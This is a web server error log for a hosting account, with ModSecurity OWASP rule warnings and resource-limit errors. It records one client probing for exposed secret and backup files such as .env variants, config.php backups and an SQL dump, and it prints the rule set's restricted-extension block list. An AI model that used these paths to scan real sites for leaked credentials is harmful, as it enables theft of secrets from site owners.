[Fri Jul 17 08:55:18.040688 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-admin/install.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.040989 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.save"] [unique_id "almgnu1pLmPpy2r_2CxfRAAAAA8"]
[Fri Jul 17 08:55:18.041257 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.save"] [unique_id "almgnu1pLmPpy2r_2CxfRAAAAA8"]
[Fri Jul 17 08:55:18.041368 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.041490 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnu1pLmPpy2r_2CxfRAAAAA8"]
[Fri Jul 17 08:55:18.045773 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.049540 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/wp-admin/upgrade.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.052127 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.052147 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.053607 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.production.bak"] [unique_id "almgnol9vhFBGA6D8l95_AAAAAw"]
[Fri Jul 17 08:55:18.054021 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.bak"] [unique_id "almgnol9vhFBGA6D8l95_AAAAAw"]
[Fri Jul 17 08:55:18.054533 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.bak"] [unique_id "almgnol9vhFBGA6D8l95_AAAAAw"]
[Fri Jul 17 08:55:18.054757 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.055490 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l95_AAAAAw"]
[Fri Jul 17 08:55:18.063962 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.local.bak"] [unique_id "almgni0HS8lGbZyK8qt3EAAAACM"]
[Fri Jul 17 08:55:18.064219 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.bak"] [unique_id "almgni0HS8lGbZyK8qt3EAAAACM"]
[Fri Jul 17 08:55:18.064481 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.bak"] [unique_id "almgni0HS8lGbZyK8qt3EAAAACM"]
[Fri Jul 17 08:55:18.064592 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.064742 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgni0HS8lGbZyK8qt3EAAAACM"]
[Fri Jul 17 08:55:18.066658 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.079262 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php.swp"] [unique_id "almgnivekYYQ8uns4MwlXAAAAA0"]
[Fri Jul 17 08:55:18.079903 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php.swp"] [unique_id "almgnivekYYQ8uns4MwlXAAAAA0"]
[Fri Jul 17 08:55:18.080085 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.080249 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnivekYYQ8uns4MwlXAAAAA0"]
[Fri Jul 17 08:55:18.110106 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.115895 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/installer-data.sql"] [unique_id "almgnu1pLmPpy2r_2CxfRQAAAA8"]
[Fri Jul 17 08:55:18.116556 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/installer-data.sql"] [unique_id "almgnu1pLmPpy2r_2CxfRQAAAA8"]
[Fri Jul 17 08:55:18.116793 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.116980 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnu1pLmPpy2r_2CxfRQAAAA8"]
[Fri Jul 17 08:55:18.118117 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.old"] [unique_id "almgnoZvbo7N5o5zeYC-YQAAABw"]
[Fri Jul 17 08:55:18.118330 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.118342 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.old"] [unique_id "almgnoZvbo7N5o5zeYC-YQAAABw"]
[Fri Jul 17 08:55:18.118579 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.old"] [unique_id "almgnoZvbo7N5o5zeYC-YQAAABw"]
[Fri Jul 17 08:55:18.118682 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.118832 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnoZvbo7N5o5zeYC-YQAAABw"]
[Fri Jul 17 08:55:18.119995 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/config.php.backup"] [unique_id "almgnkkXT4NBqALj2lZ8sQAAABA"]
[Fri Jul 17 08:55:18.120551 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config.php.backup"] [unique_id "almgnkkXT4NBqALj2lZ8sQAAABA"]
[Fri Jul 17 08:55:18.120703 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.120849 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkkXT4NBqALj2lZ8sQAAABA"]
[Fri Jul 17 08:55:18.125072 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.125998 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
